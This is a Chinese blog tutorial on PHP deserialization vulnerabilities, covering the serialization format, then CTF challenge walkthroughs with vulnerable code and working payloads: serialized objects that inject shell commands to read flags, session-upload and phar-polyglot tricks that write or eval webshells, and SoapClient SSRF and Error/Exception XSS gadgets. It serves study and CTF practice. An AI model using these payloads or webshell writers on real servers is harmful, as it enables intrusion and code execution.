反序列化漏洞主要是反序列化的过程中某些参数可控,传入一些精心构造的字符串,从而控制内部的变量设置函数,执行想要的操作。
序列化反序列化常见方法
1 2 3 4 5 6 7 8 9 10 11
__wakeup() //使用unserialize时触发 __sleep() //使用serialize时触发 __destruct() //对象被销毁时触发 __call() //在对象上下文中调用不可访问的方法时触发 __callStatic() //在静态上下文中调用不可访问的方法时触发 __get() //用于从不可访问的属性读取数据 __set() //用于将数据写入不可访问的属性 __isset() //在不可访问的属性上调用isset()或empty()触发 __unset() //在不可访问的属性上使用unset ()时触发 __toString() //把类当作字符串使用时触发 __invoke() //当脚本尝试将对象调用为函数时触发
序列化
PHP 序列化后的内容是简单的文本格式,但是对字母大小写和空白(空格、回车、换行等)敏感,而且字符串是按照字节(或者说是 8 位的字符)计算的,因此,更合适的说法是 PHP 序列化后的内容是字节流格式。因此用其他语言实现时,如果所实现的语言中的字符串不是字节储存格式,而是 Unicode 储存格式的话,序列化后的内容不适合保存为字符串,而应保存为字节流对象或者字节数组,否则在与 PHP 进行数据交换时会产生错误。
php序列化的字母标示及其含义
1 2 3 4 5 6 7 8 9 10 11 12 13
a - array b - boolean d - double i - integer o - common object r - reference s - string C - custom object O - class N - null R - pointer reference U - unicode string N 表示的是 NULL,而 b
*NULL 和标量类型的序列化 *
NULL 的序列化
boolean 型数据的序列化
integer 型数据的序列化
其中<number>
为一个整型数,范围为:-2147483648 到 2147483647。数字前可以有正负号,如果被序列化的数字超过这个范围,则会被序列化为浮点数类型而不是整型。
double 型数据的序列化
其中 为一个浮点数,其范围与 PHP 中浮点数的范围一样。可以表示成整数形式、浮点数形式和科学技术法形式。如果序列化无穷大数,则 为 INF,如果序列化负无穷大,则 为 -INF。序列化后的数字范围超过 PHP 能表示的最大值,则反序列化时返回无穷大(INF),如果序列化后的数字范围超过 PHP 所能表示的最小精度,则反序列化时返回 0。当浮点数为非数时,被序列化为 NAN,NAN 反序列化时返回 0。但其它语言可以将 NAN 反序列化为相应语言所支持的 NaN 表示。
其中 <length>
是 <value>
的长度,<length>
是非负整数,数字前可以带有正号(+)。<value>
为字符串值,这里的每个字符都是单字节字符,其范围与 ASCII 码的 0 - 255 的字符相对应。每个字符都表示原字符含义,没有转义字符,<value
> 两边的引号(””)是必须的,但不计算在<length>
当中。这里的 <value>
相当于一个字节流,而<length>
是这个字节流的字节个数
简单复合类型的序列化
数组的序列化
1
a:<n>:{<key 1 ><value 1 ><key 2 ><value 2 >...<key n><value n>}
其中 <n>
表示数组元素的个数,<key 1>、<key 2>……<key n>
表示数组下标,<value 1>、<value 2>……<value n>
表示与下标相对应的数组元素的值。
对象的序列化
1
O:<length>:"<class name>" :<n>:{<field name 1 ><field value 1 ><field name 2 ><field value 2 >...<field name n><field value n>}
其中 <length>
表示对象的类名 <class name>
的字符串长度。<n>
表示对象中的字段1个数。这些字段包括在对象所在类及其祖先类中用 var、public、protected
和 private
声明的字段,但是不包括 static
和 const
声明的静态字段。也就是说只有实例(instance)
字段
对象字段名的序列化 var 和 public 声明的字段都是公共字段,因此它们的字段名的序列化格式是相同的。公共字段的字段名按照声明时的字段名进行序列化,但序列化后的字段名中不包括声明时的变量前缀符号 $。
protected 声明的字段为保护字段,在所声明的类和该类的子类中可见,但在该类的对象实例中不可见。因此保护字段的字段名在序列化时,字段名前面会加上
的前缀。这里的 \0 表示 ASCII 码为 0 的字符,而不是 \0 组合。
private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,字段名前面会加上
1
\0 <declared class name >\0
的前缀。这里 表示的是声明该私有字段的类的类名,而不是被序列化的对象的类名。因为声明该私有字段的类不一定是被序列化的对象的类,而有可能是它的祖先类。
字段名被作为字符串序列化时,字符串值中包括根据其可见性所加的前缀。字符串长度也包括所加前缀的长度。其中 \0 字符也是计算长度的。
嵌套复合类型的序列化
对象引用和指针引用 在 PHP 中,标量类型数据是值传递的,而复合类型数据(对象和数组)是引用传递的。但是复合类型数据的引用传递和用 & 符号明确指定的引用传递是有区别的,前者的引用传递是对象引用,而后者是指针引用 PHP 只对对象在序列化时才会生成对象引用标示(r)。对所有的标量类型和数组(也 包括 NULL)序列化时都不会生成对象引用。但是如果明确使用了 & 符号作的引用,在序列化时,会被序列化为指针引用标示(R)。
引用标示后的数字 对象引用(r)和指针引用(R)的格式为:
<number>
简单的说,就是所引用的对象在序列化串中第一次出现的位置,但是这个位置不是指字符的位置,而是指对象(这里的对象是泛指所有类型的量,而不仅限于对象类型)的位置。 例子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
class ClassA { var $int; var $str; var $bool; var $obj; var $pr; } $a = new ClassA(); $a->int = 1 ; $a->str = "Hello" ; $a->bool = false ; $a->obj = $a; $a->pr = &$a->str; echo serialize($a);
这个例子的结果是:
1
O:6 :"ClassA" :5 :{s:3 :"int" ;i:1 ;s:3 :"str" ;s:5 :"Hello" ;s:4 :"bool" ;b:0 ;s:3 :"obj" ;r:1 ;s:2 :"pr" ;R:3 ;}
在这个例子中,首先序列化的对象是 ClassA 的一个对象,那么给它编号为 1,接下来要序列化的是这个对象的几个成员,第一个被序列化的成员是 int 字段,那它的编号就为 2,接下来被序列化的成员是 str,那它的编号就是 3,依此类推,到了 obj 成员时,它发现该成员已经被序列化了,并且编号为 1,因此它被序列化时,就被序列化成了 r:1; ,在接下来被序列化的是 pr 成员,它发现该成员实际上是指向 str 成员的一个引用,而 str 成员的编号为 3,因此,pr 就被序列化为 R:3; 了。
绕过魔术方法反序列化漏洞
__construct()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
<?php /** * @Author: yeSi * @Date: 2019-03-13 10:04:17 * @Last Modified by: yeSi * @Last Modified time: 2019-03-13 10:30:47 */ class test2{ function __construct($test ){ $fp = fopen("shell.php" ,"w" ) ; fwrite($fp ,$test ); fclose($fp ); } } class test1{ var $test = '123' ; function __wakeup (){ $obj = new test2($this ->test ); } } $class1 = $_GET ['test' ];print_r($class1 ); echo "</br>" ;$class1_unser = unserialize($class1 );require "shell.php" ; ?>
这里我们给test传入构造好的序列化字符串后,进行反序列化时自动调用 wakeup()函数,从而在new ph0en1x()会自动调用对象ph0en1x中的 construct()方法,从而把写入到 shell.php中
__wakeup()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
class yesi{ var $test = '123456' ; function __wakeup (){ $fp = fopen("shell.php" ,"w" ) ; fwrite($fp ,$this ->test ); fclose($fp ); } } $class1 = $_GET ['test' ];print_r($class1 ); echo "</br>" ;$class3_unser = unserialize($class1 );require "shell.php" ; // 为显示效果,把这个shell.php包含进来 ?>
PUG
index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
<?php error_reporting(0); include 'class.php' ; if (is_array($_GET )&&count($_GET )>0) { if (isset($_GET ["LandIn" ])) { $pos =$_GET ["LandIn" ]; } if ($pos ==="airport" ) { die("<center>机场大仙太多,你被打死了~</center>" ); } elseif($pos ==="school" ) { echo ('</br><center><a href="/index.html" style="color:white">叫我校霸~~</a></center>' ); $pubg =$_GET ['pubg' ]; $p = unserialize($pubg ); // $p ->Get_air_drops($p ->weapon,$p ->bag); } elseif($pos ==="AFK" ) { die("<center>由于你长时间没动,掉到海里淹死了~</center" ); } else { die("<center>You Lose</center>" ); } } ?>
class.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
<?php include 'waf.php' ; class sheldon{ public $bag ="nothing" ; public $weapon ="M24" ; // public function __toString (){ // $this ->str="You got the airdrop" ; // return $this ->str; // } public function __wakeup() { $this ->bag="nothing" ; $this ->weapon="kar98K" ; } public function Get_air_drops($b ) { $this ->$b (); } public function __call($method ,$parameters ) { $file = explode("." ,$method ); echo $file [0]; if (file_exists(".//class$file [0].php" )) { system("php .//class//$method .php" ); } else { system("php .//class//win.php" ); } die(); } public function nothing() { die("<center>You lose</center>" ); } public function __destruct() { waf($this ->bag); if ($this ->weapon==='AWM' ) { $this ->Get_air_drops($this ->bag); } else { die('<center>The Air Drop is empty,you lose~</center>' ); } } } ?>
payload
1
http://120.78.57.208:6001/?LandIn=school&pubg=O:7:"sheldon" :3:{s:3:"bag" ;s:27:"//win.php| cat ./class/flag" ;s:6:"weapon" ;s:3:"AWM" ;}
2017百越杯awd
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
<?php class home{ private $method ; private $args ; function __construct($method , $args ) { $this ->method = $method ; $this ->args = $args ; } function __destruct (){ if (in_array($this ->method, array("ping" ))) { call_user_func_array(array($this , $this ->method), $this ->args); } } function ping($host ){ system("ping -c 2 $host " ); } function waf($str ){ $str =str_replace(' ' ,'' ,$str ); return $str ; } function __wakeup (){ foreach($this ->args as $k => $v ) { $this ->args[$k ] = $this ->waf(trim(mysql_escape_string($v ))); } } } $a =@$_POST ['a' ];@unserialize($a ); ?>
构造序列化:
1 2 3 4 5 6 7 8 9
<?php class home{ private $method ="ping" ; private $args =array('1|cat${IFS}/flag' ); } $test =new home();print_r(serialize($test )); ?>
最后payload
1 2
post: O:4:"home" :2:{s:12:"%00home%00method" ;s:4:"ping" ;s:10:"%00home%00args" ;a:1:{i:0;s:16:"1|cat${IFS} /flag" ;}}
session反序列化漏洞
实际利用
参照此链接https://blog.spoock.com/2016/10/16/php-serialize-problem/
安恒杯中的一题
class.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
<?php highlight_string(file_get_contents(basename($_SERVER ['PHP_SELF' ]))); //show_source(__FILE__); class foo1{ public $varr ; function __construct (){ $this ->varr = "index.php" ; } function __destruct (){ if (file_exists($this ->varr)){ echo "<br>文件" .$this ->varr."存在<br>" ; } echo "<br>这是foo1的析构函数<br>" ; } } class foo2{ public $varr ; public $obj ; function __construct (){ $this ->varr = '1234567890' ; $this ->obj = null; } function __toString (){ $this ->obj->execute(); return $this ->varr; } function __desctuct (){ echo "<br>这是foo2的析构函数<br>" ; } } class foo3{ public $varr ; function execute (){ eval ($this ->varr); } function __desctuct (){ echo "<br>这是foo3的析构函数<br>" ; } } ?
index.php
1 2 3 4 5 6 7 8 9 10 11 12 13
<?php ini_set('session.serialize_handler' , 'php' ); require("./class.php" ); session_start(); $obj = new foo1();$obj ->varr = "phpinfo.php" ;?>
参照此链接:http://blog.nuptzj.cn/post/105 或者https://blog.spoock.com/2016/10/16/php-serialize-problem/
oj一题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
<?php //A webshell is wait for you ini_set('session.serialize_handler' , 'php' ); session_start(); class OowoO { public $mdzz ; function __construct() { $this ->mdzz = 'phpinfo();' ; } function __destruct() { eval ($this ->mdzz); } } if (isset($_GET ['phpinfo' ])){ $m = new OowoO(); } else { highlight_string(file_get_contents('index.php' )); } ?>
解法 upload.html
1 2 3 4 5
<form action="index.php" method="POST" enctype="multipart/form-data" > <input type ="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" /> <input type ="file" name="file" /> <input type ="submit" /> </form>
answer.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
<?php /** * @Author: yeSi * @Date: 2019-03-13 14:50:08 * @Last Modified by: yeSi * @Last Modified time: 2019-03-13 17:41:13 */ class OowoO { public $mdzz ; function __construct() { $this ->mdzz = 'phpinfo();' ; } } $test =new OowoO();$test ->mdzz="print_r(scandir(dirname(__FILE__)));" ;print_r("|" .serialize($test )); ?>
查看根目录 查看文件 读取文件
phar反序列化漏洞
生成yesi.phar
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
<?php class not_useful{ var $file = "<?php phpinfo() ?>" ; } @unlink("yesi.phar" ); $test = new not_useful();$phar = new Phar("yesi.phar" ); //实例一个phar对象供后续操作$phar ->startBuffering(); //开始缓冲Phar写操作$phar ->setStub("GIF89a" ."<?php __HALT_COMPILER(); ?>" ); // 增加gif文件头$phar ->setMetadata($test );$phar ->addFromString("test.txt" ,"test" ); //以字符串的形式添加一个文件到 phar 档案$phar ->stopBuffering();?>
可以改成任意后缀,主要是为了过白名单检测后缀。 改成yesi.gif cmd.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
<?php $recieve = $_GET ['recieve' ]; /*写入文件类操作*/ class not_useful{ var $file ; function __destruct (){ $fp = fopen("C:\phpStudy\PHPTutorial\WWW\shell.php" ,"w" ); //自定义写入路径 fputs($fp ,$this ->file); fclose($fp ); } file_get_contents($recieve ); ?>
访问
1
192.168.0.31/cmd.php?recieve=phar://yesi.gif/test.txt
即可生成shell.php
PHP原生类的利用
1 2 3 4 5 6
当对象被创建的时候调用:__construct 当对象被销毁的时候调用:__destruct 当对象被当作一个字符串使用时候调用(不仅仅是echo 的时候,比如file_exists()判断也会触发):__toString 序列化对象之前就调用此方法(其返回需要是一个数组):__sleep 反序列化恢复对象之前就调用此方法:__wakeup 当调用对象中不存在的方法会自动调用此方法:__call
SoapClient 这个也算是目前被挖掘出来最好用的一个内置类,php5、7都存在此类。
SSRF
1 2 3 4 5 6
<?php $a = new SoapClient(null ,array ('uri' =>'http://example.com:5555' , 'location' =>'http://example.com:5555/aaa' )); $b = serialize($a); echo $b;$c = unserialize($b); $c->a();
Error 适用于php7版本
XSS 开启报错的情况下:
1 2 3 4 5 6 7 8 9
<?php $a = new Error("<script>alert(1)</script>" ); $b = serialize($a); echo urlencode($b);$t = urldecode('O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D' ); $c = unserialize($t); echo $c;
Exception 适用于php5、7版本
XSS 开启报错的情况下:
1 2 3 4 5 6 7 8
<?php $a = new Exception ("<script>alert(1)</script>" ); $b = serialize($a); echo urlencode($b);$c = urldecode('O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D' ); echo unserialize($c);
参考文章: 浅谈php反序列化漏洞:https://chybeta.github.io/2017/06/17/%E6%B5%85%E8%B0%88php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/ PHP中SESSION反序列化机制https://blog.spoock.com/2016/10/16/php-serialize-problem/ magic函数__wakeup()引发的漏洞http://www.venenof.com/index.php/archives/167/ 利用 phar 拓展 php 反序列化漏洞攻击面https://paper.seebug.org/680/ PHP 序列化(serialize)格式详解https://www.neatstudio.com/show-161-1.shtml 反序列化之PHP原生类的利用:https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html
FROM :blog.cfyqy.com | Author:cfyqy
评论